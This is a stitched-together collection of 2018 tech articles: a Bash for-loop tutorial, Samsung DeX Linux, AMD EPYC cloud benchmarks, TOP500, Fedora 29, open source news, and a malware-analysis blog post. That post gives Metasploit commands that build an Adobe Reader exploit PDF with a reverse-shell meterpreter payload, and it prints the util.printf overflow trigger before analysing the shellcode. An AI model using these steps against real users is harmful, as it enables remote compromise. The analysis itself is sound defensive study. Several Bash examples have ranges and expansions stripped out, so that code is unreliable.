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Published: November 13, 2018
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Loops are one of the fundamental concepts of programming languages. Loops are handy, if you want to run series of commands over and over again, until a condition situation is reached.

In scripting languages such as Bash, loops are useful for automating repetitive tasks.

There are 3 basic loop constructs in Bash scripting, for loop, while loop, and until loop.

In this tutorial we will cover the basics of for loops in Bash as well as the break and continue statements to alter the flow of a loop.

The Standard Bash For Loop

The for loop iterates over a list of items and performs the given set of commands.

The Bash for loop takes the following form:

for item in [LIST]
do
[COMMANDS]
done

The list can be a series of strings separated by spaces, range of numbers, output of a command, an array, and so on.

Loop over strings

In the example below the loop will iterate over each item of the list of strings and the variable element will be set to the current item.

for element in Hydrogen Helium Lithium Beryllium
do
echo “Element: $element”
done

The loop will produce the following output:

Element: Hydrogen
Element: Helium
Element: Lithium
Element: Beryllium

Loop over a number range

You can use the sequence expression to specify a range of numbers or characters by defining a start and the end point of the range. The sequence expression takes the following form:

In the example below the loop will iterate through all numbers from 0 to 3.

for i in
do
echo “Number: $i”
doneNumber: 0
Number: 1
Number: 2
Number: 3

Starting from Bash 4, it is also possible to specify an increment when using ranges. The expression takes the following form:

for i in
do
echo “Number: $i”
doneNumber: 0
Number: 5
Number: 10
Number: 15
Number: 20

Loop over array elements

You can also use the for loop to iterate over all elements in an array:

In the example below we are defining an array BOOKS and iterating over each element of the array.

BOOKS=(‘In Search of Lost Time’ ‘Don Quixote’ ‘Ulysses’ ‘The Great Gatsby’)

for book in “$”; do
echo “Book: $book”
doneBook: In Search of Lost Time
Book: Don Quixote
Book: Ulysses
Book: The Great Gatsby

The C-style Bash for loop

The syntax of the C-style for loop is taking the following form:

for ((INITIALIZATION; TEST; STEP))
do
[COMMANDS]
done

The INITIALIZATION part is executed only once when the loop starts. Then, the TEST part is evaluated. If it is false the for loop is terminated. If the TEST is true, commands inside the body of for loop are executed and the STEP part is updated.

In the following code the loop stars by initializing i = 0, then before each iteration checks if i ≤ 10. If true it prints the current value of i and increment the variable i by 1 (i++) otherwise the loop terminates.

for ((i = 0 ; i <= 1000 ; i++)); do
echo “Counter: $i”
done

The the loop iterates 1001 times and will produce the following output:

Counter: 0
Counter: 1
Counter: 2
…
Counter: 998
Counter: 999
Counter: 1000

Break and Continue Statements

The break and continue statements can be used to control the loop execution.

Break Statement

The break statement terminates the current loop and passes program control to the statement that follows the terminated statement. It is usually used to terminate the loop when a certain condition is met.

In the following example, the execution of the loop will be terminated once the current iterated item is equal to ‘Lithium’.

for element in Hydrogen Helium Lithium Beryllium; do
if [[ “$element” == ‘Lithium’ ]]; then
break
fi
echo “Element: $element”
done

echo ‘All Done!’Element: Hydrogen
Element: Helium
All Done!

Continue Statement

The continue statement exits the current iteration of a loop and passes program control to the next iteration of the loop.

In the following example, we are iterating through a range of numbers and when the current iterated item is equal to ‘2’ the continue statement will cause execution to return to the beginning of the loop and to continue with the next iteration.

for i in ; do
if [[ “$i” == ‘2’ ]]; then
continue
fi
echo “Number: $i”
doneNumber: 1
Number: 3
Number: 4
Number: 5

Bash For Loop Examples

Renaming files with spaces in the filename

The following example shows how to use the Bash for loop to rename all of the files in the current directory with a space in its names by replacing space to underscore.

for file in * *; do
mv “$file” “$”
done

Let’s break down the code line by line:

• The first line creates a for loop and iterates through a list of all files with a space in its name. The expression * * creates the list.
• The second line applies to each item of the list and moves the file to a new one replacing the space with an underscore (_). The part $ is using the shell parameter expansion to replace a pattern within a parameter with a string.
• done indicates the end of the loop segment.

Changing file extension

The following example shows how to use the Bash for loop to rename all files ending with .jpeg in the current directory by replacing the file extension from .jpeg to .jpg.

for file in *.jpeg; do
mv — “$file” “$.jpg”
done

Let’s analyze the code line by line:

• The first line creates a for loop and iterates through a list of all files edging with .jpeg.
• The second line applies to each item of the list and moves the file to a new one replacing .jpeg with .jpg. The part $ is using the shell parameter expansion to delete the .jpeg part from the filename.
• done indicates the end of the loop segment.

Conclusion

By now you should have a good understanding of how to use the bash for loop to iterate through lists.

If you have any question or feedback feel free to leave a comment.

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Samsung debuted DeX last year to make your phone behave a bit more like a computer when plugged into a monitor. This year, DeX functionality has improved so you don’t need to expensive custom dock, just a video cable. At Samsung’s developer conference last week, it announced DeX would also get full Linux support. It’s only officially available to those in the beta program, but we’ve got the APK.

To use Linux on DeX, you’ll need an updated Samsung device that supports DeX. Currently, only the Note 9 and Tab S4 work with the beta. Install the Linux on DeX app to get started. This is just a few megabytes because it’s not a full Linux distro (you’ll download that later).

Booting into DeX isn’t any different—that’s still just a modified Android UI. However, you can open the Linux on DeX app to download a system image. Samsung has partnered with Ubuntu to make downloads readily available on your device, but you can also grab the 3.6GB image on your PC and transfer it over. When you want to access Linux tools, just launch Ubuntu from the Linux on DeX app. it has a full desktop, a terminal, and an assortment of built-in tools. To clarify: We’ve tested this successfully on a Tab S4. The screen below was captured on that tablet in Linux.

This is a developer-focused feature, which shouldn’t come as a surprise. It’s Linux, after all. It’s also a beta, so don’t be surprised if things are a little broken. Grab the installer from APK Mirror, and sign up for the beta if you want.

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With last week Amazon Web Services rolling out AMD EPYC cloud instances to EC2, I figured it would be an interesting time for a fresh benchmark look at how the AMD Linux cloud performance compares from some of the popular cloud providers. For this article are sixteen different instances benchmarked while looking at the raw performance as well as the value on each instance type relative to the benchmark performance and time consumed for the on-demand spot instancing. EPYC instances were tested from Amazon EC2, Packet.com, and SkySilk.

 

 

The Amazon EC2 EPYC instances launched last week range from the m5a.large at two vCPUs and 8GB of RAM up to the m5a.24xlarge at 96 vCPUs and 384 GB of memory. For this article we tested the m5a.large, m5a.xlarge, m5a.2xlarge, and m5a.12xlarge instances. Unfortunately we have yet to have access to the m5a.24xlarge instance type so we were unable to test that highest-end tier that is restricted. All of the AMD EPYC instances on EC2 are backed by EPYC 7571 processors at 2.5GHz. EC2 on AMD hardware makes use of the Kernel-based Virtual Machine (KVM). It is interesting to note that “generic” Retpolines are used for their Spectre V2 mitigation rather than the tuned “AMD” Retpolines, at least that was the case with all of our testing and using the Ubuntu 18.04 images.

 

 

SkySilk launched back in September with AMD EPYC and Intel Broadwell cloud options. The current EPYC instances range from a 1 vCPU “Pico” option with 512MB RAM up through their “ultimate” option with 40 vCPUs and 320GB of RAM. All of the SkySilk EPYC cloud instance types were available and tested from the small 2 vCPU option (similar to EC2 m5a.large) through the 40 vCPU highest-end option. Thanks to SkySilk for providing us with free access to their cloud for benchmarking purposes. SkySilk’s EPYC instances are currently using AMD’s highest-end EPYC 7601 processors that have the 2.2GHz base clock frequency and 2.7GHz all-core boost clock speed. SkySilk’s cloud makes use of LXC Linux containers instead of KVM/Xen. The SkySilk EPYC hardware had full AMD Retpolines with IBPB and also Spectre V4 mitigation with SSB disabled.

 

 

The third AMD EPYC “cloud” contender is Packet.com. This happens to be our first time benchmarking Packet’s options. With Packet it’s actually bare metal access but at cloud pricing. Currently their only available EPYC instance is the c2.medium.x86 that provides an AMD EPYC 7401p at 24 cores / 48 threads with 2.2GHz clock speed, 64GB of RAM, and 960 GB of storage… All for $1.00 USD per hour! The Packet $1 per hour plan also provides 20 Gbps bonded networking and the storage is made up of four SSDs. The pricing was actually a shock and after creating a new account, was actually as good as it seemed and the server had full AMD Retpolines with IBPB.

 

 

The Amazon EC2 / SkySilk / Packet benchmarking was all done using their default Ubuntu 18.04 LTS server images with the Linux 4.15 kernel, EXT4 file-system, and GCC 7.3.0 compiler.

 

 

All of this benchmarking of these various clouds were carried out using the Phoronix Test Suite. This included the raw benchmarking in a fully-automated and standardized manner as well as monitoring the time for each test and calculating the performance-per-dollar of each cloud. Recent versions of the Phoronix Test Suite support a COST_PERF_PER_HOUR= environment variable where when entering the on-demand/spot hourly pricing can then generate these complementary metrics in a very easy to interpret manner.

 

 

Thanks to the Phoronix Test Suite being open-source and publicly available, if you wish to see how your own cloud(s) or bare metal Linux server performance compares to the results about to be shown in this article, simply install the Phoronix Test Suite and run phoronix-test-suite benchmark 1811127-SK-AMDEPYCCL13 for your own fully-automated, side-by-side benchmark comparison.

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The latest TOP500 list of the world’s fastest supercomputers is out, a remarkable ranking that shows five Department of Energy supercomputers in the top 10, with the first two captured by Summit at Oak Ridge and Sierra at Livermore. With the number one and number two systems on the planet, the “Rebel Alliance” vendors of IBM, Mellanox, and NVIDIA stand far and tall above the others.

“Summit widened its lead as the number one system, improving its High Performance Linpack (HPL) performance from 122.3 to 143.5 petaflops since its debut on the previous list in June 2018.”

Sierra’s ascendance pushed China’s Sunway TaihuLight supercomputer, installed at the National Supercomputing Center in Wuxi, into third place. Prior to last June, it had held the top position on the TOP500 list for two years with its HPL performance of 93.0 petaflops. TaihuLight was developed by China’s National Research Center of Parallel Computer Engineering & Technology (NRCPC).

Read more at insideHPC

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Fedora 29 Workstation – See What’s New

Fedora 29 Workstation is the new release of Fedora Linux Distribution, ships with the latest GNOME 3.30 as default desktop environment and powered by the latest Linux Kernel 4.18 series. Also, include the latest most of GNOME 3.30 applications.

GNOME Software now supports automatic updates for Flatpak in Fedora 29. Flatpak is a next-generation technology for building and distributing desktop applications on Linux. It makes it easy for software makers to support multiple distributions with one format.

GNOME Boxes now supports connecting to remote Windows machines using RDP. You can attach to Windows systems from the comfort and security of your Fedora Workstation, with the same easy interface as your virtual machines.

Download Fedora 29: https://getfedora.org/workstation
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Infected PDFs have always been a privileged way to infect users because this document format is very common and used by almost everyone. Moreover, it exists many ways to exploit Acrobat Reader vulnerabilities and it’s very stealth and elegant way to launch a malware.

In this article, I will show you how easy it is to craft a malicious PDF with custom shellcode, and trigger a vulnerability to execute a payload. We will also analyse the malicious PDF to learn how the payload is stored, and how to extract it.

This article is for research purpose only, don’t do bad things!

PDF is object oriented format, defined by Adobe. This format describes a document organization, and preserves dependencies needed for the document (fonts, images, …). These objects are stored within the document as streams and most of the time encoded or compressed. Below is the overview of a classic PDF document. For more information, please read Adobe’s specifications.

Infected PDF creation

We will create a fake PDF with metasploit, containing an exploit attempt, as well as a custom payload (code to execute). The exploit is targeting a specific version of Adobe Reader, so we will need to make some archaeology and find an ancient Reader version (thanks to http://www.oldapps.com/) to install on the target machine.

So, first, let’s make this PDF. We will make a infected PDF that just opens calculator (calc.exe) on the machine, just for demonstration. Open a metasploit console (installation of metasploit is not covered in this article) and type:

use exploit/windows/fileformat/adobe_utilprintf set FILENAME malicious.pdf set PAYLOAD windows/exec set CMD calc.exe show options exploit

It should look like this:

Copy the file that has just been created (here /home/osboxes/.msf4/local/malicious.pdf) on a shared drive. You will need to feed your target machine with it.

Infected PDF execution

On the target machine, download and install a vulnerable Adobe Reader version (metasploit tells us it should be less than 8.1.2). I choose to install a 8.1.1 version.

Once installed, execute the malicious.pdf file. You should see a calculator being spawned from the Adobe Reader process. That’s the exploit.

I’ve done another PDF but changed the payload slightly, just for fun:

set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.29 set LPORT 4455

Here’s the result. Adobe Reader now has a backdoor (reverse shell) listening for commands.

Infected PDF analysis

Played enough! Let’s see what’s inside that malicious PDF, and let’s try to extract the malicious payload(we’re still with the calc.exe PDF).

First, we will need a tool called PDF Stream Dumper, so download it. Load the malicious PDF with it, and take some time to familiarize yourself with the tool.

We can start by checking if some exploit is detected by the tool using the “Exploit Scan” menu:

Exploit CVE–2008–2992 Date:11.4.08 v8.1.2 – util.printf – found in stream: 6

Indeed, there’s an exploit hidden in stream 6 (the one in blue on the capture).

But let’s start by the beginning: when searching for exploits in a PDF, we most of the time encounter heap spray created by a Javascript code. That heap spray is used to push the payload on the heap, ready to be executed once the vulnerability has triggered.

If you open Stream 1, you can see:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

That we can translate to OpenAction on stream 5. Let’s move to stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

Which says to execute Javascript located in stream 6. This stream shows plain Javascript, it’s time to open the “Javascript_UI” menu. We immediately recognize a big string hex encoded, and pushed into a variable for heap spray. This is our payload:

Fortunately, we have tools to manipulate it, and understand what it does. Select the payload (the part between quotes), and open “Shellcode_analysis” menu. Then choose “scDbg – LibEmu Emulation”. You will get a new window will the shellcode decoded into bytes (you can even save it to file):

LibEmu is a library able to simulate a processor, it gives information about what the assembly code is trying to do. Just hit the “Launch” button and you will understand:

Here it is, we can clearly see the shellcode will just opens a calc.exe window and exits.
Let’s redo the same analysis for the other malicious PDF (reverse shell):

Uh, self explaining right? Shellcode is loading the library needed to manipulate sockets (ws2_32.dll), and tries to connect back to C&C.

I haven’t told about the exploit itself, it’s located at the end of the javascript code (like stated by Exploit search, “util.printf – found in stream: 6”). It’s exploiting a buffer overflow on printf function to execute arbitrary code (here, our heap-sprayed shellcode)

util.printf(“%45000.45000f”, 0);

I hope you enjoyed this blog post, please like, comment or share, or do all of that, it’s up to you. Also, thanks for the visit 😉

Author: tigzy

Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.

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In this edition of our open source news roundup, we take a look at two open source companies getting funding, the FDA open sources app code, Barcelona upping its open source investment, and more.

Open source firms finish funding rounds

In the last two weeks, IBM’s acquisition of Red Hat led the open source business headlines. But two other companies that develop open source software also made some bold financial moves that filled their coffers quite nicely.

Hashicorp announced it has raised $100 million from two venture capital firms. The maker of tools for managing cloud applications plans to use that funding “to boost its open-source and commercial product development roadmaps, accelerate hiring and step up customer-facing activities such as training.” That funding also helped push the company’s valuation to $1.9 billion (USD).

Neo4j, which develops open source graph databases, didn’t do too badly, either. The company pulled in $80 million (USD) in investments, which doubles the amount of funding it’s managed to attract. According to Neo4j’s CEO Emil Eifrem, the company will use that money to “grow its developer tools and support popular use cases.” Eifrem add that the infusion of cash also provides “Neo4j with the resources to serve our new and existing customers with the best graph platform to harness connected data for AI.”

FDA releases open source code

The Food and Drug Administration (FDA) in the United States has open sourced the code for its MyStudies app. The app, which is available for Android and iOS, enables medical researchers to collect patient data for use in clinical trials and studies.

The source code and documentation for MyStudies is available on on GitHub and the FDA hopes that “developers or hospital and academic medical center researchers can customize and rebrand MyStudies for their own purposes.”

Barcelona increases its investment in open source

The city of Barcelona has reach an important milestone. This year, almost 80% of the city’s IT budget is devoted to open source. On top of that, Barcelona has made eight of its projects available on GitHub, with seven more to follow.

Xavier Roca, Barcelona’s director of IT development, says the city intends to link almost all of its IT spending to open source by 2020. Until then, Roca says, Barcelona will “continue to work with proprietary software solutions, as we have systems in place that require maintenance.”

Analyzing emotions with open source software

Machines are getting closer to better recognizing human emotions, thanks to open source software developed by a team of European researchers. Called the MixedEmotions Toolkit, the software can learn to recognize “emotions through text, audio and video processing.”

Mixed Emotions is made up of several modules that analyze text and multimedia and relationships in social networks, and does machine translation between several European languages. The researchers also developed a Python package called Senpy, “for developing and publishing emotion analysis services and tools, mainly focused on text processing.”

The source code for the toolkit is available on GitHub.

In other news

• Atlassian sells Jitsi videoconferencing tool
• OVH: the open source public cloud alternative from Paris
• RISC OS goes Open Source, supports royalty-free Raspberry Pi projects
• Open Source as a Model for Global Education
• Why one company is paying developers to write more open source code

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